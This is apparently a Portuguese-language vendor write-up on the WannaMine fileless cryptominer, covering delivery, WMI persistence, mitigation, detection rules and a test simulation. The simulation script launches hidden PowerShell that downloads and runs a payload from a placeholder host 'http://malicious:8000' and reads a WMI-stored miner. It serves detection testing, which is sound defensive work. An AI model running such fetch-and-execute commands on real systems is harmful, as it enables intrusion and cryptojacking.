Análise do Cryptominer WannaMine: Execução e Persistência Sem Arquivos
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
WannaMine é um worm de criptomineração sem arquivos que depende de ferramentas já existentes no sistema operacional—principalmente PowerShell e Instrumentação de Gerenciamento do Windows (WMI)—para permanecer residente em memória e minerar Monero.
Investigação
WannaMine é entregue através de e-mails de phishing contendo arquivos de lote maliciosos ou explorando a vulnerabilidade SMB EternalBlue. Para persistência, ele registra assinaturas de eventos WMI e armazena PowerShell codificado em classes WMI personalizadas.
Mitigação do WannaMine
Previna a exploração do EternalBlue aplicando patches no SMB (MS17-010). Restrinja a execução e monitoramento do PowerShell, observe a criação incomum de classes WMI e consumidores de eventos, e aplique o princípio de privilégio mínimo para limitar o uso indevido de credenciais.
Resposta
Alerte sobre comportamentos anormais de PowerShell/WMI, isole os hosts impactados, remova consumidores/assinaturas de eventos WMI maliciosos, rotacione credenciais potencialmente expostas e realize uma análise de memória para confirmar o minerador em memória.
Fluxo de Ataque
Detecções
Download ou Upload via Powershell (via linha de comando)
Ver
Atividade de Modificação de Esquema de Energia Suspeita (via linha de comando)
Ver
LOLBAS wmic (via linha de comando)
Ver
Download de Arquivo Suspeito por IP Direto (via proxy)
Ver
IOCs (HashMd5) para detectar: Como WannaMine Funciona: Um Malware Criptominador Sem Arquivos
Ver
IOCs (Emails) para detectar: Como WannaMine Funciona: Um Malware Criptominador Sem Arquivos
Ver
IOCs (SourceIP) para detectar: Como WannaMine Funciona: Um Malware Criptominador Sem Arquivos
Ver
IOCs (DestinationIP) para detectar: Como WannaMine Funciona: Um Malware Criptominador Sem Arquivos
Ver
Detecção de Criptojacking Sem Arquivos WannaMine [Criação de Processo Windows]
Ver
Detectar Execução de Criptominador Sem Arquivos WannaMine [PowerShell do Windows]
Ver
Execução de Simulação
Pré-requisito: A Verificação de Telemetria & Linha de Base deve ter sido concluída com sucesso.
Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para ativar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos do Ataque:
Um atacante obtém execução remota de código em um endpoint Windows. Para evitar interação do usuário, eles lançam o PowerShell em uma janela oculta (-W Hidden) sem perfil (-NoP) e não interativo (-NonI). O comando usaIEXpara baixar uma carga PowerShell de um servidor HTTP malicioso (http://malicious:8000/in6.ps1). O script baixado registra uma classe WMI chamadaOffice_Updatersobrootdefaultque armazena uma propriedademoncontendo um minerador Monero codificado em Base64. O atacante então lê a propriedade via[WmiClass]e a invoca, lançando efetivamente o criptominador sem criar um novo processo. Esta sequência corresponde às três substrings de linha de comando da regra de detecção. -
Script de Teste de Regressão:
#------------------------------------------------- # Simular execução de criptominador sem arquivos WannaMine #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Execução do PowerShell oculto e não interativo $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Invocar o comando (isto é o que o atacante executaria) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Nota: Pressupõe-se que o script remoto (in6.ps1) cria a classe WMI # com uma propriedade "mon" contendo o código de mineração. -
Comandos de Limpeza:
# Remover a classe WMI maliciosa Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Parar quaisquer processos PowerShell mineradores restantes (se algum foi lançado) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # Opcional: Limpar arquivos de transcrição/log do PowerShell criados durante o teste Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue